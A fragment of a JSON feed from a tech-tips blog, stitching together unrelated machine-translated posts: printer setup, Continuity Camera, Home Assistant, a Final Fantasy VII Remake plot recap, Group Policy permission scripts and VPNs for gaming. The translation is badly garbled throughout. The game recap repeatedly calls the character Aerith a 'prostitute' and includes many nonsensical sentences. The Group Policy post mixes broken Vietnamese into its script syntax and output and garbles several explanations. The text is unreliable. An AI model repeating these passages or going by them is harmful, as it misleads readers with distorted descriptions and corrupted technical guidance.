Make sure that any setup instructions that came with the printer are followed closely, and that all connections to your computer are correct.\nManufacturer's driver If your printer has advanced functions, or Windows 11 does not install the correct printer driver, you may need to manually download driver packages from the manufacturer. Use the installation disc that came in the printer's box, or visit the manufacturer's website to download the driver.\nWish you always have a good experience with your printer!\nWindows 11 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmUmXqiec%2BroKeslad6sLqMsKCnnJ%2BswG59kA%3D%3D\n","link":"/post/how-to-add-a-printer-on-windows-11/","section":"post","tags":null,"title":"How to add a printer on Windows 11"},{"body":"The Continuity Camera feature allows you to quickly add photos or documents to your Mac via the camera on your iPhone or iPad.\nWhat is Continuity Camera? Continuity Camera is a new feature on macOS Mojave and iOS 12 that allows you to access your iOS device camera from the Mac, then directly transfer the captured image to the document you are working on the Mac. For example, you are working with Pages application and you need to take a picture, you can activate the Continuity Camera, then take a picture with your iPhone, the picture will immediately appear in the document you are working on Pages on Mac's Pages.\nThe best features on iOS 12 that Apple did not officially announce on WWDC stage How to set multiple faces for Face ID in iOS 12   How to add photos using Continuity Camera To use the Continuity Camera, you must be working with an editable document.\nOpen documents or projects on one of the applications like Pages, Keynote or TextEdit. Ctrl + left mouse button or right-click or double-click on a blank space in the document ( Note: Photos will appear where you clicked) Click Take photo below Insert from your iPhone or iPad . Use iPhone / iPad to take a photo . Select the capture device by clicking on the device in the list that appears. Click Use photo . Photos will appear on documents / projects on Mac Double-click the image if you want more information. Enter the URL, title or add a description for the photo. Click Remove photo on the pop-up window if you want to delete the photo. How to scan documents using Continuity Camera Open documents or projects on one of the applications like Pages, Keynote or TextEdit. Ctrl + left mouse button, right-click or double-click on a blank space in the document ( Note: Photos will appear where you clicked) Click Scan Documents below Insert from your iPhone or iPad . Use iphone / ipad to scan documents . Select the scan device by clicking on the device in the list that appears. Repeat the above steps to scan multiple documents. Click Save . Your document will be inserted into the project on a Mac. Double-click the scanned document if you want more information. Enter the URL, title or add a description for the document. Click Remove Image on the popup window if you want to delete the document. See more:\nHow to scan documents on iOS using Notes application List of devices upgraded to iOS 12 AirDrop fixes not working on iOS 11.2 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqkrcyeqZplk6S7tbXNrqCtsV2ku265wJymrGWdpLeiwsRmmKecXZ68tHmQaw%3D%3D\n","link":"/post/how-to-use-camera-continuity-on-macos-mojave-and-ios-12/","section":"post","tags":null,"title":"How to use Camera Continuity on MacOS Mojave and iOS 12"},{"body":"IoT - Internet of Things or Everything connected, you must have heard these concepts many times in recent years. And it is undeniable that IoT devices are becoming more and more popular. Typical in IoT is smarthome, smart houses. By the end of 2017, 26.5% of US households have adopted smart home technology in their homes, and this number is expected to double this year. In Vietnam, you can know two smart home solutions, Bkav Smarthome and Lumi.\nSmartHome or Smart House is the technology term used to refer to homes with appliances, lights, heaters, televisions, computers, audio \u0026amp; video systems, security camera systems, yard systems. garden, . capable of connecting to each other and can be remotely scheduled time, from any room in the house as well as any location in the world, via phone, Internet . As a result, smart houses give owners a sense of security, comfort, convenience, more energy saving the way they want.\nTo get a smarthome you need to have a platform to do it. Imagine a smart home is like a computer, if you do not have an operating system installed, it is just a computer, you need to install an operating system like Windows, Linux or macOS to be able to use it. The only difference is that the smart home platform is more diverse, depending on the company developed, it has different characteristics.\nToday, TipsMake.com will introduce you to a fairly famous home automation platform, which is loved by the community and used quite a lot, which is Home Assistant.\nWhat is the Home Assistant? Home Assistant is an open source home automation platform that runs on Python 3.x, designed to be easily deployed on any computer from Raspberry Pi to network storage devices (NAS) and even a Docker container to deploy on other systems easily.\nThe Home Assistant integrates with a large number of open source and commercial products, allowing you to link devices and data together, such as IFTTT (if this then that - a tool to automate operations), weather information or Amazon Echo, to control indoor hardware, door lock to electric lights.\nSome home automation platforms only support Python as an extension, but the Home Assistant can run on any device or service that can run Python 3, from desktop computers to Raspberry Pi. The Home Assistant project was launched in 2013, initiated by Paulus Schoutsen. Currently, this project has attracted 20 active people and released updates twice a week.\nSome characteristics of Home Assistant Like most automated systems, Home Assistant provides client versions on phones and computers to control smart home devices remotely. It is different from most commercial products that there is no central device, so there is no built-in radio. You can add the radio you want using USB.\nThe Home Assistant also does not have cloud computing components. Schoutsen argues that removing these components will help improve security, privacy, privacy and higher stability.\n  Paulus Schoutsen lectures on home automation at OpenIoT Summit\nBecause the Home Assistant is not completely different from other IoT frameworks, it is easy to connect to different platforms from Nest to Arduino or Kodi.\nThere is a strong point of the Home Assistant brought by Python: The system expansion is easy. Python is a dynamic language, which allows for the flexibility that Java programmers crave. With Python it's easy to test and create test templates for each new part on an existing installation without permanently affecting other components. Especially with the new version of Python that MicroPython has just launched for embedded systems, like the Arduino and ESP8266, it will become the common language for all IoT levels, from sensor to automation to Integration with third party services.\nThe Home Assistant is an event-based program that combines the state of the entity tracking status - all selected devices and the people you want to track. Each entity has an identifier, status condition and attributes. Properties are status descriptions, such as color, brightness levels on Philips Hue smart light bulbs.\nFor example, to integrate Philips Hue into the system, you need to use light components, can turn on the light and know how to read the state of the lamp (on or off). Home Assistant provides components for all supported devices, services, or easy access to component groups such as lighting, heat, switches, and garage doors. The setup process is also easy thanks to the ability to detect components and scan the network. If there is a supported device, setting it is almost an automated process.\nFeatures of Home Assistant Monitoring The Home Assistant will monitor the status of all devices in your home on your behalf, as long as the devices are on the list supported by Home Assistant.\nUp to the time of writing (12/01/2018) this platform supports 938 devices from Nest, IFTTT, Google, Hue, MQTT, Wemo, KODI, Plex, IKEA, vera, Arduino, Adobe, Amazon, Apple , Asus, Cisco, D-Link, Facebook, Huawei, LG, Microsoft, . Among them are very famous names like Amazon Echo, Facebook Messenger, Google Cast, Google Assistant, MPC-HC video viewing software , Kodi, LG Netcast TV, Apple smartTV, Samsung smart TV, Philips Hue Light smart light system, Adobe door lock system, MQTT, Vera, Tesla, .\nYou can find the full list of these devices on the platform's home page.\nControl Control all devices from a single, phone-friendly interface. In particular, this platform does not store any user data on the server, thus ensuring a high level of privacy.\nAutomation Set up advanced rules to control equipment and turn your home into a dreamy paradise.\nDo you want:\nThe lights turn on automatically when the sun goes down and then you're at home? The light went on when someone came home and it was dark? Reduce the brightness of lights when you watch movies on Chromecast? Get notified when lights turn on while you're not at home? Home Assistant demo If you want to tinker with this home automation platform, you can go here https://home-assistant.io/docs/ . It includes the entire Home Assistant guide, from settings on operating systems, platforms, basic configuration, advanced configuration, scripts, tools, remote controls, .\nHopefully in the future, we can have more Vietnameseized documents on Home Assistant, a very interesting home automation platform.\nSee more:\n12 'must-have' devices for smart houses Concept of e-Government 20 great applications from micro-Raspberry Pi computers How to run, Raspberry Pi emulator on computer? ncG1vNJzZmismaXArq3KnmWcp51kuaat0adkmpqfqsFutM6mnGaZo6i2tMDAp6tmsZ%2Bqv260zqacZpmlqbyurdOipqdloKGutbLOq6Q%3D\n","link":"/post/learn-about-home-assistant-your-home-automation-platform/","section":"post","tags":null,"title":"Learn about Home Assistant - Your home automation platform!"},{"body":"Falling on the roof of the church is still alive, it is unclear whether the lives of the characters in Final Fantasy VII Remake are too good or if our Cloud is really too cattle.\nChapter 8: Budding Bodyguard After the explosion caused by the Airbuster, Cloud falls from the factory site to the bottom. While still unconscious due to his over-landing, he saw the Enigmatic Specter ghosts hovering around him as well as having a brief conversation with his inner self and . Sephiroth. Upon awakening, the spiked man saw the florist Aerith looking at her with worried eyes, as it turned out that he had fallen from the factory above to the Sector 5 slum below. During the Cloud landing process, the roof of the church made a large hole as well as crushed a bunch of flowers due to Aerith.grow. In the ensuing conversation, the prostitute wants Cloud to be her bodyguard and escorts her home, of course he will agree but after accepting the job, Reno and the Shinra soldiers have gathered to surround the church. As an effective member of Turk, Reno will cause many difficulties when possessing extremely agile moving skills and lightning attacks, but he is ultimately defeated by Cloud.\nThe Shinra soldiers get more and more crowded, so escaping from Aerith will pull Cloud away by climbing the roof of the church. In the process of moving on the upper floors, it can be noticed that the Enigmatic Specter will save the prostitute when she almost falls while moving on the crossbars. It is not clear at this point what these ghosts are, what role they play, or whether they have a good or bad influence on the main characters. Returning to the other two siblings, after crossing the rooftops of various houses, they would leave the area being blocked by Shinra. It is admirable that the number of peaches of the former SOLDIER, wherever he goes, he also has the opportunity to listen. Going with Jessie, hugging each other on the motorcycle, with Tifa is a gift of flowers full of apricot flowers and a cocktail session made by herself. Now with the girl with duckweed flowers,The drop was even more bloody as she slipped and fell down the stairs and the young man did not delay at all to perform a princess hug.\n  When they arrived at the train station, they learned that the train had to temporarily halt operation due to the explosion at the No. 5 reactor, while hovering there they met Shinra's helicopter landing to release a well-dressed agent. just like Reno earlier encountered in the church. Different from the limp-looking appearance of the redhead, the bald guy always attached to the black glasses named Rude looked much harder to play. In order to avoid trouble, Cloud and Aerith decide to 'cut the alley' and wriggle through narrow streets to avoid the annoying Turks. Their goal was to move to the Center District of the Sector 5 slums. In the central square of the area, the broadcaster was broadcasting live on the scene of the attack on the No. 5 reactor. No wonder Scarlet,Shinra Group's head of weapons development quickly poured all the blame onto Avalanche's group with compelling evidence that a CCTV segment had been cut.\nHere it is seen that Aerith seems to be very close to the children in the area, at first they seem to be very cautious about Cloud's giant sword but having a flower girl as a medium mediate everything is fine. After several conversations with the kind doctor and the Leaf House orphan woman's manager, Aerith takes Cloud home and introduces the former SOLDIER to her mother. The conversation was quite open when Elmyra did not have any abnormal attitude, she even agreed when the flower girl wanted to lead the spearhead to Sector 7. There was something she said today was a bit late. then, if Aerith comes to Sector 7 then comes back then it will be very dark and vulnerable. If nothing is too urgent, take Cloud tomorrow. Return to the center of town to help find the missing children,Cloud meets a guy quite similar to Marco in the next room while in Sector 7, except that his arm is tattooed No. 2.\n Plot Final Fantasy VII Remake - Part 3: It was time Shinra wanted to fall Different from the comfortable blast of the # 1 furnace that Shinra intentionally opened and closed with his eyes closed, this time Avalanche and Cloud picked up all sorts of different troubles.\nSimilar to the previous time, when Sephiroth was touched by this second person, he would see Sephiroth's image, this time, he advised Cloud not to be afraid of some 'reunion' plan. The young man began to lose his temper again, but Aerith seemed to have some strength that quickly stabilized him. Through the answers of the girl in the conversation, we will know that Sephiroth was a hero in the SOLDIER forces when participating in many major campaigns but 5 years ago he was killed in an accident. rare.This makes people extremely confused when not sure what the guy Sephiroth sometimes appears and talks to Cloud all the time from now on? Trans-Vietnamese people? Ghost? Or the illusion of time? And the mysterious Enigmatic Specter and the wrong plan to reunite with the guys in robes. Leaving that aside for now, when returning to Aerith's house for dinner the group would encounter Rude, the bald guy who at first knew was very strong at the train station.\nDifferent from the escape when he met Reno, this time the brave girl jumped out and told Cloud not to be fooled by his appearance because Rude was not as bad as his cold, bland appearance. But whatever you say, you have to beat each other in a game to be able to hand over the job. After the battle with Cloud, Rude is still very energetic and still wants to fight, but Turk's headquarters has called to hand over something more urgent so the bald man, despite not volunteering, still has to leave the helicopter. go. Before entering the diner, Aerith and Cloud enlist a little walk around the garden and people have the opportunity to doubt in the end what kind of god this lady is when she possesses many mysterious powers such as communicating with reality. Such things. They went back to the house to have dinner but were fed by Mrs. Elmyra . cursing like slapping water for going out all afternoon.When Aerith went upstairs to arrange a room for Cloud to rest for the night, her mother's attitude began to change, appearing harshly to Cloud and even asking him to leave this night.\n  While the atmosphere was tense, when Aerith stepped into the room, she realized that the conversation between her boyfriend and her mother was a little wrong. That night while lying on his back in bed, Cloud recalled what his mother had said so he decided to leave Elmyra's home alone to return to Sector 7. Down to the living room, the nasty old lady Elmyra waited. only willing to force Cloud to promise never to see Aerith again, Cloud quickly accepted the request without thinking that very soon he would have to break his promise.\nChapter 9: The Town That Never Sleeps In order to return to Sector 7, he must cross Sector 6, and through the portal between the regions, Cloud suddenly sees Aerith standing there waiting for him from time to time, and there is nothing to hide the intuition of women. As they moved through the hills, from afar they could see the bright lights at Wall Market red light district. This is Midgar's most complex area where one can find every legal and illegal activity coexisting. As Aerith said, Midgar's working residents are so tired of their daily work that they need a place to vent their discontent in life. Foreseeing that mentality, the merchants quickly built an area that later became known as the Wall Market, which consisted of a combination of dining, entertainment, sexy bars, massage parlors,arenas . Managers know the corruption of this area but for the sake of the money they pay, they are willing to turn a blind eye to the decadence of the red light district overwhelming traditional values.\n  Passing through the underground tunnel, the two find the abandoned Evergreen Park located at the intersection of Sector 6 and Sector 7. living. It turned out that this place used to be the former prostitute's business area before it became so bad for some reason. Talking more about Aerith's past, Cloud learns that the first man she ever loved was a First Class SOLDIER like her. Of course it was a thing of the past and now they broke up, maybe this was also the reason Elmyra had an unkind attitude towards the mercenary. Then, when Aerith said the name of her ex, Cloud's consciousness suddenly became disturbed, making it impossible for him to know the other's name. After resting, they continued the journey,At this moment, Cloud sees Tifa dressed extremely hot, sitting on a chicken cart to move to the red light district of Wall Market.\nThe former SOLDIER easily got along with his friend but Tifa had no intention of leaving that place. She tells Cloud to be relieved because she knows what she is doing and can handle everything well, and asks him to return to the bar 7 th.Heaven to gather with the members of Avalanche to wait for news. Cloud wonders if he should listen to her friend or not because on the one hand, Tifa is a violent female powerhouse, who can survive under her fist? On the other hand, the enemy was strong, the advantage of the area and the corrupt reputation of the old Don Corneo were already famous, so Cloud was very worried. While still wondering, Aerith decided that the two would have to storm into the boss's mansion to save Tifa because the prostitute was doing business here anyway, so she knew what the benefit of Don Corneo was. . According to Chocobo Sam, who runs the chicken carriage line, Tifa will become the candidate for the 'bride' position Corneo graces tonight.\n  At the metamorphosis of the perverted old goat, Cloud and Aerith are stopped by his men. The pointy-headed man is too obvious because he is a man that Don Corneo does not like to play gay while the prostitute who is criticized by his long-time men is too 'alright' with insufficient temperament to become one of the candidates. the bride. In order to break into that they will have to seek additional help from other forces. According to information provided by Leslie, if he wants to catch the eye of Don Corneo, he must have the help of The Trio, who is extremely knowledgeable about his taste. The first one to meet just now, was Chocobo Sam, the second being the mistress Madam M who ran the largest massage shop on Wall Market. The last, most mysterious and unpredictable character is Andrea Rhodea, a master dancer who also owns the Honeybee Inn bar. Chocobo Sam has a weird personality,Andrea Rhodea saw her head did not see the tail, only Madam M was relatively easy to talk with.\nShe agrees to help Aerith prepare a nice dress, providing Liem Barber-sized hairdresser and jewelry freely to choose at a very affordable price, even Cloud does not have to pay for beauty services. , just be a Madam M representative gladiator and help her win the underworld tournament. Cloud isn't inherently rich, so he strongly approves of her idea of ​​fighting for free. Of course, the organization of the fighting tournament in the underworld is not easy to eat, all kinds of methods to cheat have been applied but in the end, the two of them still won. Their crisp winning streak caused the audience to change their attitudes from initial scrutiny to enthusiastic support.The lively atmosphere caused the old Don Corneo to change the formula forcing Cloud to confront the terrible monster Hell House to increase excitement for the game. Although quite annoying, the monster is finally defeated, in addition to Cloud's courage also makes one of the three bosses, Andrea Rhodea, be moved.\n  Madam M is very pleased with Cloud's victory, she also kept her promise when turning Aerith from a cute but somewhat bewildered girl into a gorgeous princess that everyone wants to penetrate to measure. watch her shallow. However, the trouble hasn't ended when the beautiful florist is okay, but how can Cloud accompany her into the mansion when Don Corneo is not playing gay? At this time, the effect of Andrea Rhodea fully develops when the bar owner will help Cloud disguise as a beauty with a cool temperament. Of course Andrea won't do this for free like Madam M, and ask Cloud to dance with him first. Sitting still in the audience, you can see that the flower girl is extremely excited when she sees his friend dancing.with strange boys and then the owner of the shop and the staff pressed to disguise themselves as beautiful women.\nEventually, the show ended, and after a great excitement, Aerith came up with a plan that Cloud would put on a fake girl outfit to join her in saving Tifa. Although very uncomfortable with the costumes of women because beautiful girls Cloud will close his eyes to sacrifice his dignity. Returning to Don Corneo's metamorphosis old man, pimp Leslie will quickly let Cloud and Aerith clear customs through letters of recommendation from elders Madam M and Andrea Rhodea. Arriving at the storage room, they were suddenly anesthetized by the men and women to ease their control, but thanks to that, the siblings were quickly reunited with her friend Tifa in the basement. After getting ready, they entered the main room to begin the selection round for the bride, where the old Don Corneo goat officially appeared.Take a moment to carefully watch the old Don wants to choose Tifa because of her sexy breasts, but when he was mocked by Cloud, he suddenly changed his mind because he wanted to try the thrill of conquering a stubborn stubborn female. .\n  When taking Cloud to his room to prepare for his actions, Don Corneo immediately reveals the nature of a perverted perverted pervert while wandering around the 'beauty' and shows extreme excitement when he is cursed by Cloud. by terrible. Even the room used to house the brides of the bride was designed by Corneo with panoramic cameras to record the 18+ moments between him and the victims of his choice. Back to Tifa and Aerith, when the boss is not selected the remaining candidates will be divided by Corneo's juniors to enjoy. Of course, that's the story of previous times, but now when Tifa violence against female player Smackdown Aerith does not know who will devour anyone. After the professional wrestling tournament of the year,The victory was in Aerith's when she received an absolute score from the audience thanks to the skillful use of iron chairs.\nKnocking out all the wrong ear-to-ear, the two girls dressed in civilian clothes then wrapped their clothes in search of Cloud. Don Corneo is very angry right now because he was kicked by the former SOLDIER member, but he would not have expected his situation to be even more tragic when he was about to witness another man changing in front of him. mine. Tifa begins to question Corneo about whom Avalanche's juniors would gather to hand over to him, but he is very mischievous, only to be honest when Cloud asks to castrate his knife. The hiring stranger is Captain Heidegger, and according to Don Corneo, Shinra is plotting to blow up the slums in Sector 7 in retaliation for the two reactors. The group's specific plan is to send people to install self-destruct code into the energy tower in the regional center.When Cloud and the two girls want to return to Sector 7 to notify Barret and the other members, Corneo smiles and flips the joystick to cause the three to fall into the sewer beneath the bedroom.\nThis is an article in a series of Final Fantasy VII Remake Plots\nncG1vNJzZmismaXArq3KnmWcp51kva2702adoqaRoXqnrc2tmKyxXau2qnnRnqSao5VivaK%2B02ZrZqyYmnqvtcahq6Whlpp6qr%2BMnKamqJyesKLAxJ0%3D\n","link":"/post/plot-final-fantasy-vii-remake/","section":"post","tags":null,"title":"Plot Final Fantasy VII Remake"},{"body":"Derek Melber\nSometimes Group Policy Management Console (GPMC) will not provide enough flexibility to perform large tasks. In the case of establishing, changing or removing credentials for a large number of GPOs, the GPMC may cause some difficulties or can be said to be cumbersome. In this tutorial, we will show you another way that is much easier. The solution here is to use Microsoft's GPMC scripting. These scripts are quite numerous and have been updated, upgraded to support Windows Vista and Windows Server 2008. With them, you can change the permissions on one or all of the GPOs easily. easy. Mandates for GPOs Before starting the scripting and automating delegation for GPOs, there is an important issue to note that you must know which options (options) you have. All of the credentials listed below can be set using GPMC, but that method can be time consuming. With GPO management, you have the following options: Create GPOs This is a delegated task for the entire domain, however it is configured at the Group Policy Objects node within the GPMC, as shown in Figure 1.\n  Figure 1: Creation of GPOs is a central domain delegate\nLink GPO \n The ability to link GPOs to a node in Active Directory is very strong. When the GPO is linked, the objects under the node (domain, site, or organizational unit) will start automatically to receive the policy settings in the linked GPOs. Figure 2 illustrates the trust option for GPOs linked to a node.\n  Figure 2: Linked GPOs are delegated at the Site, domain or organizational unit level\nDraft management of GPOs The ability to edit GPOs is a great function, especially if that GPO is already linked to a node in Active Directory. Therefore, it is important to control who can edit. There are two editing levels, one that allows deleting and changing the security for GPOs. These credentials are done at the GPO level, as shown in Figure 3.\n  Figure 3: Edit and manage (completely) GPOs delegated on a GPO by the base GPO\nUse GPMC scripts to automate GPO security delegation GPMC scripts allow you to make similar changes to the GPO security that the GPMC GUI does, but it allows you to perform larger tasks with faster time. Assume that you have installed Microsoft Advanced Group Policy Management (AGPM). Before you can use AGPM, you must change the permissions for all GPOs within the GPMC to ensure that administrators cannot edit them through GPMC. If this is not done, the GPO in production (introduced in GPMC) can easily be lost in sync with the GPO that you import into the AGPM environment. To remove and reset permissions for multiple GPOs for setup purposes, this is purely a difficult task. However, with the GrantPermissionOnAllGPOs.wsf script, this task can be done quickly! Other GPMC scripts also perform the same functions as described below. Note: To download GPMC scripts, go to the address after Group Policy Management Console Sample Scripts. GrantPermissionOnAllGPOs.wsf This script will assume a certain clause for a user or a group in all GPOs located in the domain. This problem will appear for GPOs that are not even linked to the Active Directory node. This alternate switch is useful because it can remove existing permissions and replace them with new permissions. If a specified clause for a security group already exists on the list of permissions for the GPO, the two higher terms will be replaced in the security group (unless this alternate switch is used). ) Syntax Usage: GrantPermissionOnAllGPOs.wsf GroupName / Permission: value [/ Replace] [/ Q] [/ Domain: value] GroupName: The security principal to grant permissions to Permission: The permission level to set. Can be 'Read', 'Apply', 'Edit', 'FullEdit' or 'None' Thay đổi: Specifies mà có quyền hiện thời nên được thay đổi Q: Quiet mode - not display a warning before executing the script Domain: DNS name of domain For example \n cscript GrantPermissionOnAllGPOs.wsf \"GPO Admins\" / Permission: Edit Microsoft (R) Windows Script Host Version 5.7 Copyright (C) Microsoft Corporation. All rights reserved. Warning! Bởi executing script này, tất cả GPOs trong tên sở hữu sẽ được cập nhật với chế độ đặt quyền hạn. Bạn có thể được cập nhật Both Active Directory and Sysvol portions of GPO will be. Đây sẽ được kết quả trong các tập tin Sysvol của mỗi GPO đang được sao chép vào các bộ điều khiển Domain replica, và có thể không tạo công báo traffic replication trong tên của bạn. Nếu bạn có kết nối mạng Slow, hoặc chế độ bị hạn chế giữa các máy phục vụ của bạn, bạn nên kiểm tra các dữ liệu số trên các Sys, sẽ được tạo lại trước khi thực hiện câu lệnh này. Bạn có muốn tiếp tục? [Y / N] y Updated GPO 'Default Domain Policy' to 'Edit' for GPO Admins Updated GPO 'Default Domain Controllers Policy' to 'Edit' for GPO Admins SetGPOCreationPermissions.wsf This script allows or removes the ability to create GPOs in a domain for a specific security group or user. Syntax Usage: SetGPOCreationPermissions.wsf Group [/ Remove] [/ Domain: value] Group: The security group to grant GPO creation rights to Gỡ bỏ: Ghi nhớ quyền hạn thay thế để Grant nó Domain: DNS name of domain Example and output \n cscript SetGPOCreationPermissions.wsf \"GPO Admins\" Microsoft (R) Windows Script Host Version 5.7 Copyright (C) Microsoft Corporation. All rights reserved. Added 'GPO Admins' as having GPO creation rights in Fabrikam.com. SetGPOPermissions.wsf This script will set the permissions on a pre-defined GPO for the group defined. All other scripts must also have the syntax of the script and output. This script will fail if you do not define arguments for it. Syntax \n Usage: SetGPOPermissions.wsf: / Permission: [/ Replace] [/ Domain:] Permission: The permission level to set. Can be 'Read', 'Apply', 'Edit', 'FullEdit' or 'None' Thay đổi: Specifies mà có quyền hiện thời nên được thay đổi Domain: DNS name of domain Example and output cscript SetGPOPermissions.wsf \"Hardened Server GPO\" \"Server Operators\" / Permission: Edit Microsoft (R) Windows Script Host Version 5.7 Copyright (C) Microsoft Corporation. All rights reserved. Modified GPO Hardened Server GPO to give Server Operators Edit rights. SetGPOPermissionsBySOM.wsf This script allows a certain provision for the security goal specified for all GPOs located in the SOM of the site, domain, or organization block that was targeted. Full control is allowed with this scenario and the conversion keys, as substitutes or not, recursive options allow you to modify the terms and scope of the terms. Syntax \n Usage: SetGPOPermissionsBySOM.wsf SOM Group / Permission: value [/ Replace] [/ Recursive] [/ Domain: value] SOM: The name of the site, miền hay OU để tiến trình Group: Tên tên của nhóm hoặc người dùng để Grant quyền Permission: The permission to grant. Can be 'None', 'Read', 'Apply', 'Edit' or 'FullEdit' Thay đổi: Rep thay đổi quyền hạn có có có quyền ghi ghi. Không thì, script này được kiểm tra xác thực cho phép yêu cầu có ít nhất số xác định quyền Grant Recursive: Applies the changes to all child OUs as well Domain: DNS name of domain Example and output In this example, there is an error but the script is still running, the / Recursive switch is used in the example and no GPO is previously linked in the Test OU. cscript SetGPOPermissionsBySOM.wsf Servers \"Server Operators\" / Permission: Read / Recursive Microsoft (R) Windows Script Host Version 5.7 Copyright (C) Microsoft Corporation. All rights reserved. Đang cập nhật all GPOs đã được chọn vào máy phục vụ OU để đưa ra quyền sang Server Operators Đang cập nhật các GPOs đã được kết nối đến OU Model Office để đưa ra quyền sang Server Operators Updating permissions on linked GPO 'Hardened Server GPO' Đang cập nhật các GPOs đã liên kết đến OU Production để đưa ra rights to Server Operators Updating permissions on linked GPO 'Hardened Server GPO' Đang cập nhật all GPOs đã liên kết đến OU Test để đưa ra quyền sang Server Operators Error getting SOM CN = Servers, CN = Default-First-Site-Name, CN = Sites, CN = Configuration, DC = Fabrikam, DC = com SetSOMPermissions.wsf This scenario targets delegation that can be set up for Active Directory nodes, where GPOs can be linked. Since this is a function that only affects the appropriate permissions, only Windows Server 2003 or 2008 domain controllers, the RSoP Planning clause can be upgraded. Syntax Usage: SetSOMPermissions.wsf SOM Group / Permission: value [/ Inherit] [/ Domain: value] Options: SOM: The name of the site, miền hay OU để tiến trình Group: Tên tên của nhóm hoặc người dùng để Grant quyền Permission: The permission to grant. Can be 'LinkGPOs', 'RSoPLogging', 'RSoPPlanning', 'All' or 'None' Inherit: Specifies the permissions that should be inherited by all child containers Domain: DNS name of domain Example and output In these two examples, RSOPLogging has been added and then RSOPLogging is added to all GPOs. cscript SetSOMPermissions.wsf Servers \"server operators\" / Permission: RSOPLogging / inherit Microsoft (R) Windows Script Host Version 5.7 Copyright (C) Microsoft Corporation. All rights reserved. Added the 'RSoP Logging Mode' permission for server operators. cscript SetSOMPermissions.wsf Servers \"server operators\" / Permission: RSOPPlanning / inherit Microsoft (R) Windows Script Host Version 5.7 Copyright (C) Microsoft Corporation. All rights reserved. Added the 'RSoP Planning Mode' permission for server operators. Conclude GPMC scripts can save you a lot of time when you need to perform proxy issues on some GPOs and are almost necessary when you need to change GPOs in the domain. They are also easy to use, fully capable of managing all GPMC delegation aspects, and in addition you can download them completely for free. After downloading these scripts, what to do is decide which delegation you need to perform, launch the script, set up the switches.\nncG1vNJzZmismaXArq3KnmWcp51kwKS%2ByKmroqaXYq6vsIyarK2nnZbBqq%2FApaOyZZOqwLW7zKKxoqaXYrSzu9SpZKmnnJ6wug%3D%3D\n","link":"/post/scripting-and-automatically-customizing-group-policy/","section":"post","tags":null,"title":"Scripting and automatically customizing Group Policy"},{"body":"Surely you have encountered many advertisements that VPN services (virtual private networks) will help you experience the web, watch movies or play online games better. There is no denying that in the Internet world of 2021, VPNs are ubiquitous because in part it focuses on improving privacy and security for users.\nVPN stands for Virtual Private Network (virtual private network), allowing us to set up a virtual private network with another network on the Internet. You can read more about a VPN through the following article:\nVPNs can be understood as 'tunnels' that help conceal our data as we go through it. VPN technology is classified into two basic categories: Site-to-Site VPN and Remote Access VPN.\nIs a model used to connect networks in different places to form a unified network. In this type of connection, the terminal at the Site will take care of the initial authentication, these devices act as a\u0026nbsp; gateway \u0026nbsp;and this is also the place where many security policies related to data transmission are set. secure data between sites together.\n  Site-to-site VPN helps solve many problems in practice, when businesses need to communicate with each other securely and securely through the intranet, not the Internet.\nDescribes the need to access the intranet (Local Area Network, Intranet) of a company via Gateway or VPN of remote users. This solution is called client / server. One solution that solves the desire to work from home for employees but still wants a secure connection to the corporate network.\n  What is DDoS attack?\nA denial of service attack (DoS attack - short for Denial of Service) or a distributed denial of service attack ( DDoS attack \u0026nbsp;- short for Distributed Denial of Service) is an attempt to get people to User cannot use the resources of a computer.\nThe peer-to-peer model \u0026nbsp;is applied in VPN to help online gamers have a smoother experience. But sometimes it is in those same circumstances that \u0026nbsp;your IP address can be discovered\u0026nbsp; by others. Your computer's IP address is the same as your home address but for computers and routers on the Internet.\nOnce you have the IP address of another device you can try to connect to it, but if the person has malicious intent, this test connection becomes the premise for a denial of service (DDoS) attack. . They will use that IP address to send a large amount of Internet traffic that causes device lag and computer crashes. However, DDoS attacks against large companies like Google or Amazon are an everyday experience.\nThese DDoS concerns have dominated the online gaming world. You can easily see that on any online game forum there are fears of DDoS attacks while playing games. At the end of 2019, an attack on World of Warcraft game's Server left all gamers' efforts useless because the problem was the game's server itself, not your Internet.\n  There is another type of DDoS attack that is not common, but gamers should know to prevent. If you receive a chat request from strangers, they'll try to direct you to a website or a chat room they've set up to find your IP address. Although not so popular, this is still a form of phishing.\nIf you think your device has been under a DDoS attack while playing a game, check for those around you having a similar experience and what you did before these strange experiences. Find out on the forums and related support pages of the game developer to understand the problem you are having.\nThe reason why gamers choose a VPN comes from the fact that they will not suffer from squeezed bandwidth like the domestic Internet, if they are using a VPN server close to the game server location. But the speed of bandwidth that a VPN provides is not the same as the Internet connection because it is unstable, although it may help the connection a lot better, using a VPN for gaming is hardly feasible.\nFor example, if your Internet service provider doesn't tweak your VPN while tuning your gaming connections, a VPN can help improve your performance. You can use a VPN to bypass the 'barrier' that public Wi-Fi has blocked from connecting to the game.\n  When you want to play the game in other regions like Europe or Asia, make sure that the game won't automatically connect you to any other region, as for some games with zone lock, jump over jump. Returning zones using a VPN will knock you out of the game\nAt universities or companies, they often block certain games so that their students or employees can focus on their work. Using a VPN can bypass IP filters, but this is a bad idea if you want to go against the organization's rules.\nVPN is a great tool to help you stay anonymous and take advantage of an intermediary server to avoid bandwidth squeeze. But using a VPN for gaming is really unnecessary. However, if you play games with servers located overseas instead of in Vietnam, VPN will help you reduce lag when you are far away from the game's server.\n  Also, before you decide to spend money to buy a VPN account, find out what network protocol your game uses and what the developer has been doing to prevent DDoS attacks. . If the developer does not have any measures, you should use a VPN to avoid DDoS attacks.\n- Hotspot Shield\nPublisher: AnchorFree. Capacity: 20.6MB. Compatible: Windows,\u0026nbsp; macOS , Linux,\u0026nbsp; iOS , Android, . Download link:\u0026nbsp;\u0026nbsp;Hotspot Shield. Hotspot Shield is a software that supports access to websites censored by government content through a secure private server system, and at the same time experience a safe anonymous browsing environment. Hotspot Shield helps hide your real IP address, protect public WiFi connection, protect the system from malware.\n Advantages Defect   Safe connection and Internet access. Surf the web freely without limits. Easy to install on computer. Unlimited data transfer capability and good transmission.   Unwanted advertisements from the software appear. Web surfing speed is slower than normal.    - OpenVPN\nPublisher: James Yonan. Size: 1.6 MB. Compatible: macOS, Windows,\u0026nbsp; Android , etc . Download link:\u0026nbsp; OpenVPN OpenVPN is an essential piece of software in any standard VPN provider's toolkit. It provides top-notch security, keeps your connection absolutely safe, and works flawlessly on most platforms.\n Advantages Defect   High level security. Works on most devices. Open source.   Third party intervention. It is difficult to set up a VPN configuration.    - Avira Phantom VPN\nPublisher: Avira GmbH. Capacity: 5.1MB. 